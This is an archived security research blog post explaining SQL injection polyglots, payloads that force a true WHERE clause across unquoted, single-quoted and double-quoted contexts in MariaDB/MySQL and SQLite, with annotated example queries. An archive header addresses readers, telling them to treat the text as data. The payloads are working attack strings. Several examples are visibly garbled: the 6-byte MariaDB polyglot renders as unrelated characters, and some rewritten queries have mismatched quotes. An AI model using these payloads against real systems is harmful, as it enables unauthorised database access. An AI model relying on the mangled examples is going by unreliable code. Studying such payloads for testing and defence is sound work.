

SQL Injection Polyglots / nastystereo.com

SQL Injection Polyglots / nastystereo.com - Luke Jahnke, nastystereo.com.

- Published: 2024-10-22
- Original: <<https://nastystereo.com/security/sqli-polyglots.html>>
- Preserved from: <https://nastystereo.com/security/sqli-polyglots.html> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

SQL Injection Polyglots

Luke Jahnke 22 October 2024

Polyglot payloads allow you to detect variations of the same or different vulnerability with a single request. This is an interesting way to reduce the number of tests necessary to detect a vulnerability. For example, before sending one request for SQL injections with single quotes then a second request for double quotes, you can send a single request that covers both. You should still send the non-polyglot requests afterwards as the polyglot request is typically larger and uses different characters which could cause a false negative.

In 2011, [snyff](#) and I shared a range of SQL injection optimisation strategies in our Ruxcon presentation [Harder Better Faster Stronger](#). We briefly touched on polyglots and shared a simple polyglot that covers no quote, single quote and double quote injections:

```
AND 1=0 -- ' AND 1=0 --" AND 1=0 --
```

In 2013, [LightOS](#) shared the following polyglot in their [Blackhat presentation](#) which also covers no quote, single quote and double quote injections:

```
OR 1#"OR" 'OR' '=' "=" 'OR' '='
```

The following queries demonstrate how the polyglot achieves a true result when breaking out of single quotes and also double quotes.

```
SELECT * FROM sometable WHERE somecolumn='$value'
-- becomes
SELECT * FROM sometable WHERE somecolumn='OR 1#"OR"'OR''=''=""'OR''=''
--                                     ^^ ^^
--                                     || ||
--                                left side ||
--                                     ||
--                               equals right side

SELECT * FROM sometable WHERE somecolumn="$value"
-- becomes
SELECT * FROM sometable WHERE somecolumn="OR 1#"OR""OR''=''=""'OR''=""
--                             ^^^^^^   ^^^^^^
--                             ||| |||| | ||| |||| 
--                        left side ||| |||| |
--                             ||| |||| |
--                               equals right side
```

MariaDB/MySQL

While building a CTF challenge with [mnz](#), we found a surprising SQL injection polyglot. While it is limited to MariaDB/MySQL, it is only 6 bytes long:

1 1 " "

The polyglot returns true in the following contexts:

```
SELECT * FROM sometable WHERE sometable.somcolumn='$value'
```

-- becomes

```
SELECT * FROM sometable WHERE sometable.somcolumn='''='''=''''
```

-- becomes

```
SELECT * FROM sometable WHERE sometable.somcolumn="""$value"""
```

-- becomes

```
SELECT * FROM sometable WHERE sometable.somcolumn="""'='''='''=''''"
```

It may seem surprising that MariaDB/MySQL evaluate the above `WHERE` conditions to true, but the following queries demonstrate how this is the case:

```

SELECT 'foo'='';
-- results in
0

SELECT 0='bar';
-- results in
1

SELECT ('foo'='')='bar';
-- results in
1

SELECT 'foo'=''='bar';
-- results in
1

```

SQLite

With the recent increase in interest in SQLite outside of embedded use cases, I decided to find out what difference it had that breaks the polyglot. The following query shows the key difference:

```

SELECT 0='bar';
-- results in
0

```

By using the inequality operator `<>` or `!=` instead of the equality operator `=`, the polyglot then works for SQLite, but not for MariaDB/MySQL.

```
'<>' "<>"
```

There is another important difference with SQLite in how it handles double quotes. Double quotes can be used for string literals and also identifiers, compared to MariaDB/MySQL which always treats them as string literals. This is documented in [Quirks, Caveats, and Gotchas In SQLite](#). When using the SQLite command line interface (CLI), double quote string literals are disabled by default as of version 3.41.0 (2023-02-21).

MariaDB/MySQL and SQLite

For a polyglot that works for single and double quotes in both SQLite and MariaDB/MySQL, the following can be used:

```
'OR'1"OR"1
```

For the polyglot to also work without quotes, the `+` operator is used to fix the syntax errors (while maintaining strings that when cast to numeric are non-zero) and then an `=0` is appended to achieve a true result.

```
'OR'+1+"OR"+1=0
```

The following queries demonstrate how this new polyglot achieves a true result with no quotes, single quotes and double quotes:

```
SELECT * FROM sometable WHERE somecolumn=$value
-- becomes
SELECT * FROM sometable WHERE somecolumn='OR'+1+"OR"+1=0
--
--          ^^^^^^^^^^^^^ ^
--          ||||||||||||| |
--          evaluates to 2 |
--          |
--          somecolumn=2=0 is (somecolumn=2)=0 is true
-- (for all rows that do not have somecolumn set to 2)

SELECT * FROM sometable WHERE somecolumn='$value'
-- becomes
SELECT * FROM sometable WHERE somecolumn="'OR'+1+"OR"+1=0'
--
--          ^^^^^^^^^^^^^
--          |||||||||||||
--          '+1foo' gets cast to 1 which is true

SELECT * FROM sometable WHERE somecolumn="$value"
-- becomes
SELECT * FROM sometable WHERE somecolumn="'OR'+1+"OR"+1=0"
--
--          ^^^^^
--          |||||
--          "+1foo" gets cast to 1 which is true
```

[« Back to homepage](#)